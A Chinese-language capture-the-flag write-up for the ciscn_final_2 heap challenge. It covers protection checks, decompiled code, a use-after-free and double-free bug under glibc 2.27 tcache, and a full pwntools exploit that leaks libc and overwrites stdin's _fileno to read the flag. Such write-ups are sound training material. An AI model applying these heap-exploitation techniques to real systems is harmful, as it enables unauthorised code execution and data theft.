checksec
[*] '/home/matrix/PWN/BUU/ciscn_final_2/ciscn_final_2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开
IDA
init(); // 关闭缓冲,flag文件描述符为666
Sandbox_Loading(); // orw
while ( 1 )
{
while ( 1 )
{
menu();
choice = get_atoi();
if ( choice != 2 )
break;
delete(); // bss上的chunk指针未置零
}
if ( choice > 2 )
{
if ( choice == 3 )
{
show(); // 只能输出整数,感觉没什么用(打脸了)
}
else if ( choice == 4 )
{
bye_bye();
}
}
else if ( choice == 1 )
{
allocate(); // malloc(0x20)或者malloc(0x10)向里面写入最多4个字节
}
}
关键点
这里主要的漏洞就是delete未置零,UAF配合glibc2.27下的tcache机制
unsigned \_\_int64 delete(){
[....]
if ( type == 1 && int_pt )
{
free(int_pt);
bool = 0; //<=====两种chunk类型共用一个bool来进行判断
puts("remove success !");
}
if ( type == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}
void __noreturn bye_bye() //<=======IO利用
{
char v0; // [rsp+0h] [rbp-70h]
unsigned __int64 v1; // [rsp+68h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("what do you want to say at last? ");
__isoc99_scanf("%99s", &v0);
printf("your message :%s we have received...\n", &v0);
puts("have fun !");
exit(0);
}
思路
bye_bye函数进行一次读入和输出可以看作orw的rw,初始化阶段已经将flag文件流重定向到666文件描述符,接下来就是想办法将这一次r改为读取flag。
这里是利用stdin的_fileno成员,因为IO函数最终实现读(0)或写(1)都是依据其_fileno成员作为read或write系统调用的第一个参数,即文件描述符。
这里最为关键的地方是:
在程序的add函数中只能malloc(0x20)或者malloc(0x10)所以并不能直接于libc建立联系,采用的方法是篡改allocated tcache_chunk的size字段为smallchunk范围,即可放入unsortedbin中。利用delete函数中对bool全局变量的不合理检查可以多次对free使得smallchunk放入unsortedbin从而获得,libc地址。libc地址覆盖为_IO_2_1_strin_的_fileno成员地址,之后就可以获取该地址达到读写权,写入666即可
利用tcache attack将freed smallchunk其
EXP
#+++++++++++++++++++exp.py++++++++++++++++++++
#!/usr/bin/python
# -*- coding:utf-8 -*-
#Author: Squarer
#Time: 2020.12.04 08.51.49
#+++++++++++++++++++exp.py++++++++++++++++++++
from pwn import*
context.arch = 'amd64'
def add(Type,number):
sh.sendlineafter('> ','1')
sh.sendlineafter('>',str(Type))
sh.sendlineafter('number:',str(number))
def message(index,cont):
sh.sendlineafter('> ','4')
sh.sendlineafter('at last?\n',str(cont))
def delete(Type):
sh.sendlineafter('> ','2')
sh.sendlineafter('>',str(Type))
def show(Type):
sh.sendlineafter('> ','3')
sh.sendlineafter('>',str(Type))
def show_addr(name,addr):
log.success('The '+str(name)+' Addr:' + str(hex(addr)))
#host = 1.1.1.1
#port = 10000
local = 0
if local:
#context.log_level = 'debug'
libc=ELF('/glibc/x64/2.27/lib/libc.so.6')
sh = process('./ciscn_final_2')
else:
#context.log_level = 'debug'
libc=ELF('./libc-2.27.so')
sh = remote('node3.buuoj.cn',26666)
def pwn():
add(1,0x90909090)
delete(1)
add(2,0x9090)
delete(1)
show(1)
sh.recvuntil(':')
heap_low_4bit = int(sh.recvuntil('\n',drop=1))&0xffffffff #泄露heap的低4字节
show_addr('heap_low_4bit',heap_low_4bit)
add(2,0x9090)
delete(1)
add(1,heap_low_4bit+0x40) #tcache attack 篡改size
add(1,0)
#gdb.attach(sh)
add(1,0x91)
#gdb.attach(sh)
for i in range(7): #用被篡改的chunk填充tcache
delete(2)
add(1,0x31)
#gdb.attach(sh)
delete(2)
show(2)
sh.recvuntil(':')
libc_low_2bit = int(sh.recvuntil('\n',drop=1))&0xffff #泄露~libc低2字节
show_addr('libc_low_2bit',libc_low_2bit)
_fileno_l2bit = libc_low_2bit - 0x230 #求出_fileno成员的位置
show_addr('_fileno_l2bit',_fileno_l2bit)
#gdb.attach(sh)
add(2,_fileno_l2bit) #从unsortedbin中切一个0x20出来,会附带~libc的残留数据
add(1,0)
delete(1)
add(2,_fileno_l2bit) #故技重施,将0x20chunk的~libc地址覆盖为_fileno成员地址
delete(1)
add(1,heap_low_4bit+0xa0) #tcache attack获取_fileno成员的读写权
add(1,0)
add(1,0)
add(1,666)
if __name__ == '__main__':
pwn()
sh.interactive()